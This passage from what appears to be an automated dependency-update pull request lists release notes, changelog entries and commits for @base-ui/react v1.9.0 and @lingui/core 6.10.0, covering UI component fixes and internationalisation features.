href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShare item indicator implementation (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5728\"\u003e#5728\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImprove mount performance of large lists (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5819\"\u003e#5819\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eCombine item store subscriptions (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5863\"\u003e#5863\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDialog\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mui/base-ui/blob/master/CHANGELOG.md\"\u003e@​base-ui/react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.9.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003e\u003cem\u003eOct 9, 2026\u003c/em\u003e\u003c/p\u003e\n\u003ch3\u003eGeneral changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExport \u003ccode\u003eCssVariables\u003c/code\u003e and \u003ccode\u003eDataAttributes\u003c/code\u003e types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5243\"\u003e#5243\u003c/a\u003e) by \u003ca href=\"https://github.com/superhooman\"\u003e\u003ccode\u003e@​superhooman\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix stale focused field state (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5345\"\u003e#5345\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix animation waits retaining detached elements (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5719\"\u003e#5719\u003c/a\u003e) by \u003ca href=\"https://github.com/flaviendelangle\"\u003e\u003ccode\u003e@​flaviendelangle\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eKeep item registration in sync when items change under Strict Mode (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5862\"\u003e#5862\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAvoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAccordion\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e's \u003ccode\u003edata-value\u003c/code\u003e and \u003ccode\u003edata-index\u003c/code\u003e attributes (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5705\"\u003e#5705\u003c/a\u003e) by \u003ca href=\"https://github.com/cpruijsen\"\u003e\u003ccode\u003e@​cpruijsen\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Accordion.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAlert Dialog\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDon't associate a programmatically opened popup with a trigger that did not open it (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5641\"\u003e#5641\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAutocomplete\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCheckbox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePrefer \u003ccode\u003earia-label\u003c/code\u003e over associated labels (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5787\"\u003e#5787\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCollapsible\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eApply the native \u003ccode\u003edisabled\u003c/code\u003e attribute to \u003ccode\u003e\u0026lt;Collapsible.Trigger\u0026gt;\u003c/code\u003e when using native buttons (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5607\"\u003e#5607\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFinish closing when the render function removes the panel (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5890\"\u003e#5890\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRestore animations when a removed panel reopens (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5891\"\u003e#5891\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExpand \u003ccode\u003ehiddenUntilFound\u003c/code\u003e panels synchronously on \u003ccode\u003ebeforematch\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5514\"\u003e#5514\u003c/a\u003e) by \u003ca href=\"https://github.com/aarongarciah\"\u003e\u003ccode\u003e@​aarongarciah\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCombobox\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix stale chip focus after returning to the input (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5879\"\u003e#5879\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eautoHighlight\u003c/code\u003e for asynchronous results (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5818\"\u003e#5818\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDecouple automatic unmounting from \u003ccode\u003eactionsRef\u003c/code\u003e. Call \u003ccode\u003eeventDetails.preventUnmountOnClose()\u003c/code\u003e in \u003ccode\u003eonOpenChange\u003c/code\u003e to opt out of automatic unmounting (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5734\"\u003e#5734\u003c/a\u003e) by \u003ca href=\"https://github.com/michaldudak\"\u003e\u003ccode\u003e@​michaldudak\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix label focus in Shadow DOM (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5871\"\u003e#5871\u003c/a\u003e) by \u003ca href=\"https://github.com/lyzno1\"\u003e\u003ccode\u003e@​lyzno1\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ePass the originating event to \u003ccode\u003eonItemHighlighted\u003c/code\u003e. Pointer events may be \u003ccode\u003eMouseEvent\u003c/code\u003e or \u003ccode\u003ePointerEvent\u003c/code\u003e; typing reports the reason \u003ccode\u003enone\u003c/code\u003e (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5838\"\u003e#5838\u003c/a\u003e) by \u003ca href=\"https://github.com/atomiks\"\u003e\u003ccode\u003e@​atomiks\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReset typeahead state when closing without moving focus (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5816\"\u003e#5816\u003c/a\u003e) by \u003ca href=\"https://github.com/mdm317\"\u003e\u003ccode\u003e@​mdm317\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAccept readonly arrays for multiple values (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5710\"\u003e#5710\u003c/a\u003e) by \u003ca href=\"https://github.com/MonstraG\"\u003e\u003ccode\u003e@​MonstraG\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ad7ecda5296b0295b41a51ecb01fce6204acd099\"\u003e\u003ccode\u003ead7ecda\u003c/code\u003e\u003c/a\u003e [release] v1.9.0 (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5906\"\u003e#5906\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/3296de3d4c79435a596c72ad8048d74ecc241ca5\"\u003e\u003ccode\u003e3296de3\u003c/code\u003e\u003c/a\u003e [drawer] Avoid retaining unmounted drawers in DrawerProvider (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5921\"\u003e#5921\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/69c33b49c71d729a1e63255dd5eb9794fa9a8d2e\"\u003e\u003ccode\u003e69c33b4\u003c/code\u003e\u003c/a\u003e [drawer] Fix deferred touch swipes leaving the popup (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5922\"\u003e#5922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/51b70db60fb2660bbb7236ba5b235a5d77d9fe22\"\u003e\u003ccode\u003e51b70db\u003c/code\u003e\u003c/a\u003e [menu] Strip internal filter components from public types (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5923\"\u003e#5923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/8d8b98c351c4d1ec9a6f80dcc89e39e454b1e53a\"\u003e\u003ccode\u003e8d8b98c\u003c/code\u003e\u003c/a\u003e [menu] Ignore filter input edits while the menu animates out (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5911\"\u003e#5911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/aeba3eb9f4613424c1a66f767bb20d25233306b6\"\u003e\u003ccode\u003eaeba3eb\u003c/code\u003e\u003c/a\u003e [combobox][menu][select] Revert highlightItem imperative action (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5910\"\u003e#5910\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/ec6bf32d3c1b482994810cf795f7016c375d6493\"\u003e\u003ccode\u003eec6bf32\u003c/code\u003e\u003c/a\u003e [field][select][combobox][slider] Fall back to the owner document when lookin...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/1f112a5d2399e47d052601d05ca82a58272192a6\"\u003e\u003ccode\u003e1f112a5\u003c/code\u003e\u003c/a\u003e [popups] Avoid re-rendering inactive triggers on open and close (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5865\"\u003e#5865\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/bc53db672db4fa17302a95b449b376a7db52a625\"\u003e\u003ccode\u003ebc53db6\u003c/code\u003e\u003c/a\u003e [fieldset] Await render in Legend disabled-state test (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5909\"\u003e#5909\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mui/base-ui/commit/147092ee55c2e02bcbac2e45b17640d2d317bbb7\"\u003e\u003ccode\u003e147092e\u003c/code\u003e\u003c/a\u003e [test] Strengthen tests, add test lint rules and share copied suites (\u003ca href=\"https://github.com/mui/base-ui/tree/HEAD/packages/react/issues/5892\"\u003e#5892\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/mui/base-ui/commits/v1.9.0/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@lingui/core` from 6.8.0 to 6.10.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/releases\"\u003e@​lingui/core's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.10.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e runtime core macro (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2618\"\u003e#2618\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003ebd79e85\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/blog/2026/10/16/runtime-macro\"\u003eAnnouncement\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/ref/core#i18n.setvariables\"\u003eDocumentation\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e don't compile twice per change in watch mode without \u003ccode\u003e--debounce\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2722\"\u003e#2722\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/92c8622e68e6b94bd3ea4f241b7314d610c46e83\"\u003e92c8622\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eformat-csv:\u003c/strong\u003e read catalogs that end with a line break (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2696\"\u003e#2696\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/c3b7838a4a8ab734ee8c48458ea67af9a72e7528\"\u003ec3b7838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e fail early when native transform is used with Solid (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2708\"\u003e#2708\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/15549f3cec626ab59eac1de00cccbbb56730c84f\"\u003e15549f3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e strip query from module id before native macro transform (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2703\"\u003e#2703\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/10c1b79b6b287983593946fb965b8b0b558b96c1\"\u003e10c1b79\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e write experimental extractor catalogs in worker pool (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2715\"\u003e#2715\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f7731f2a3e07145c45e2a62482ab3496302b5536\"\u003ef7731f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e use native macro transformer in experimental extractor (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2685\"\u003e#2685\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/71b439493cc351c8aa1df83a2e785afe3afed467\"\u003e71b4394\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e add native macro transformer (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2686\"\u003e#2686\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/2a576d324c222e318ae8ab5e49c57004ef675063\"\u003e2a576d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug 